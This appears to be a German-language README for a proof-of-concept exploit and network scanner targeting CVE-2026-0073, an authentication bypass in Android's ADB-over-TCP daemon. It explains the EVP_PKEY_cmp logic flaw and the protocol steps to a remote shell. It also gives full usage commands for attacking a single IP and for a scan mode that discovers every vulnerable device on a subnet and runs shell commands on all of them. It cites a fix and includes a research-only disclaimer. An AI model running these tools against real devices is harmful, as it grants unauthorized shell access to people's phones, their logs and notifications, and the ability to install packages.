
Ein PoC-Tool für die CVE-2026-0073 auf Android-11+-Geräten, das eine sofortige Zero-Click-RCE auf jedem ungepatchten Gerät mit aktiviertem ADB über TCP ermöglicht.
Ein Proof-of-Concept-Exploit und Netzwerkscanner für CVE-2026-0073, eine kritische
Zero-Click-, Interaktionsfreie Remote-Codeausführung-Schwachstelle im ADB-over-TCP-Authentifizierungspfad von Android adbd.
Die Schwachstelle ist ein Logikfehler in adbd_tls_verify_cert() (daemon/auth.cpp),
bei dem EVP_PKEY_cmp() als boolesches Prädikat behandelt wird. Wenn ein gespeicherter RSA-Schlüssel
mit einem Nicht-RSA-TLS-Clientzertifikat (EC P-256 oder Ed25519) verglichen wird, gibt die
API -1 (Typkonflikt) zurück, was in C/C++ wahr ist. Dadurch wird ein
algorithmenübergreifender Konflikt zu einem erfolgreichen Host-Key-Abgleich hochgestuft — wodurch die
Authentifizierung vollständig umgangen wird.
Technische Details von BARGHEST.
Basis-PoC-Code von SecTestAnnaQuinn.
Behoben im Android Security Bulletin — Mai 2026.
Aus dem shell-Kontext kann ein Angreifer Systemeigenschaften, Prozesszustand,
Protokolle und Benachrichtigungen einsehen; Pakete installieren und entfernen; run-as gegen
debuggbare Anwendungen verwenden; und Folge-Exploits vorbereiten.
| Datei | Zweck |
|---|---|
adb_tls_auth_bypass.py | Einzelziel-Exploit-PoC (Original von SecTestAnnaQuinn, Prüfsummen-gepatcht) |
adbt_scanner.py | Netzwerkscanner — verwundbare Geräte entdecken + ausnutzen |
requirements.txt | Python-Abhängigkeiten |
Damit der Exploit erfolgreich ist, muss das Ziel-Android-Gerät Folgendes haben:
adbd-TCP-Dienst)/data/misc/adb/adb_keys# Virtuelle Umgebung erstellen
uv venv
# Aktivieren
source .venv/bin/activate
# Abhängigkeiten installieren
uv pip install -r requirements.txt
Abhängigkeiten:
Der Scanner degradiert elegant, wenn optionale Pakete fehlen — er wird
warnen und auf alternative Methoden zurückfallen (System-ip-Befehl, nmap, TCP-
Connect-Scan).
Greife ein bekanntes verwundbares Gerät direkt an.
python3 adb_tls_auth_bypass.py 192.168.1.42 # interaktive Shell
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
Oder über den Scanner:
python3 adbt_scanner.py --host 192.168.1.42 # interaktive Shell
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
Scanne das lokale Netzwerk nach verwundbaren Geräten und nutze alle bestätigten Ziele aus.
# Vollständiger Scan: mDNS → ARP → Portscan → ADB-Probe → Exploit
python3 adbt_scanner.py --scan
# Führe einen bestimmten Befehl auf allen verwundbaren Geräten aus
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# Nur Aufklärung — entdecken, aber nicht ausnutzen
python3 adbt_scanner.py --scan --no-exploit
# Mehrere Ports scannen
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# Erkanntes Subnetz überschreiben (Multi-Homed-Hosts, bestimmte Bereiche)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# Timeouts für langsame Netzwerke anpassen
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# mDNS-Hörfenster erweitern
python3 adbt_scanner.py --scan --mdns-timeout 60
# Bestimmte Erkennungsphasen überspringen
python3 adbt_scanner.py --scan --no-mdns # mDNS überspringen, nur ARP
python3 adbt_scanner.py --scan --no-arp # ARP überspringen, nur mDNS
--scan Netzwerk nach verwundbaren Geräten scannen + ausnutzen
--host HOST Direkter Einzelziel-Exploit
--port PORT ADB-Port für den --host-Modus (Standard: 5555)
--cmd COMMAND Auszuführender Shell-Befehl
-v, --verbose Ausführliche Protokollierung
--mdns-timeout SEKUNDEN mDNS-Hördauer (Standard: 30)
--ports PORTS Kommagetrennte Ports im --scan-Modus (Standard: 5555)
--subnet CIDR Erkanntes Subnetz überschreiben (z. B. 192.168.2.0/24)
--connect-timeout SEKUNDEN TCP-Connect-Timeout (Standard: 2.0)
--probe-timeout SEKUNDEN ADB-Probe-Timeout (Standard: 3.0)
--arp-timeout SEKUNDEN ARP-Sweep-Timeout (Standard: 3)
--no-mdns mDNS-Erkennung überspringen
--no-arp ARP-Sweep + Portscan überspringen
--no-exploit Nach der ADB-Protokollprobenphase stoppen
┌─────────────────────────────────────────────────────────────┐
│ 1. Subnetzerkennung — netifaces → ip route → Socket-Trick │
│ 2. mDNS-Listener — _adb-tls-connect._tcp (Standard 30s) │
│ 3. ARP-Sweep — scapy.arping → nmap -sn │
│ 4. Portscan — TCP-Connect zu jedem Host:Port │
│ 5. ADB-Protokollprobe — CNXN senden, Antwort klassifizieren │
│ │
│ STLS → VERWUNDBAR (mit Exploit fortfahren) │
│ AUTH → Legacy-ADB-Auth (nicht diese CVE) │
│ CNXN → offen, keine Auth (bereits zugänglich) │
│ NO_ADB → kein ADB-Dienst │
│ │
│ 6. Ausnutzung — TLS-Upgrade → Auth-Bypass → Shell │
└─────────────────────────────────────────────────────────────┘
mDNS ist die genaueste Identifikationsmethode: Wenn drahtloses Debugging
gekoppelt ist, sendet Android _adb-tls-connect._tcp explizit. ARP-Sweep +
Portscan dient als Allzweck-Fallback.
Phase 1 — Klartext-ADB
Client → CNXN(payload="host::features=...")
Gerät → STLS (TLS-Upgrade erforderlich)
Phase 2 — TLS 1.3 mit algorithmenübergreifendem Clientzertifikat
Client → STLS-Antwort
Client → TLS-1.3-Handshake + EC-P-256-Clientzertifikat
Gerät ruft adbd_tls_verify_cert() auf:
known_evp = RSA-Schlüssel aus /data/misc/adb/adb_keys
evp_pkey = EC-P-256-Schlüssel aus dem Clientzertifikat
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (Typkonflikt)
if (-1) → verified = true ← FEHLER: -1 ist wahr
Phase 3 — Post-TLS-ADB-Dienstschicht
Client leert Geräte-CNXN (Transport bereits online)
Kein Host-CNXN gesendet (würde handle_new_connection-Kick auslösen)
Client → OPEN(local_id, window=32MB, payload="shell:\x00")
Gerät → OKAY → Shell-Stream hergestellt
shell-Kontext (uid=2000). Kernel-
Kompromittierung, Root-Zugriff und hardwaregestützte Keystore-Schlüssel erfordern zusätzliche
Rechteerweiterung./data/misc/adb/adb_keys haben. Ein frisch zurückgesetztes Gerät mit aktiviertem drahtlosem
Debugging, aber nie gekoppelt, ist nicht verwundbar.AUTH, nicht STLS, und sind von dieser CVE nicht betroffen.EVP_PKEY_cmp-Prüfung so ändert, dass ein exakter
== 1-Rückgabewert erforderlich ist.Diese Software wird nur für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt. Die Tools und der Code in diesem Repository sollen Sicherheitsexperten, Forschern und Gerätebesitzern helfen:
Sie dürfen diese Software nicht verwenden:
Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal und kann straf- und zivilrechtliche Sanktionen nach sich ziehen. Die Autoren und Mitwirkenden übernehmen keine Haftung für Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Verwendung dieser Software entstehen.
Verantwortungsvoll verwenden. Kenne dein Ziel. Hole dir die Erlaubnis.
CC0 1.0 Universal — Keine Rechte vorbehalten.
Soweit gesetzlich möglich, haben die Autoren auf alle Urheberrechte und verwandten oder benachbarten Rechte an diesem Werk verzichtet.
| Attribut | Detail |
|---|
| Angriffsvektor | Netzwerk (benachbart / proximal) |
| Interaktion | Keine (Zero-Click) |
| Erlangte Berechtigung | shell-Benutzer (uid=2000), SELinux u:r:shell:s0 |
| Exploit-Primitive | Remote-Shell-Zugriff über ADB |
| CVSS | Kritisch (9.8) |
| Paket | Verwendet von | Erforderlich? |
|---|
cryptography | Beide Skripte (EC-Zertifikatserzeugung, TLS) | Ja |
netifaces | Scanner (Subnetzerkennung) | Bevorzugt |
zeroconf | Scanner (mDNS-Erkennung) | Bevorzugt |
scapy | Scanner (ARP-Sweep) | Bevorzugt |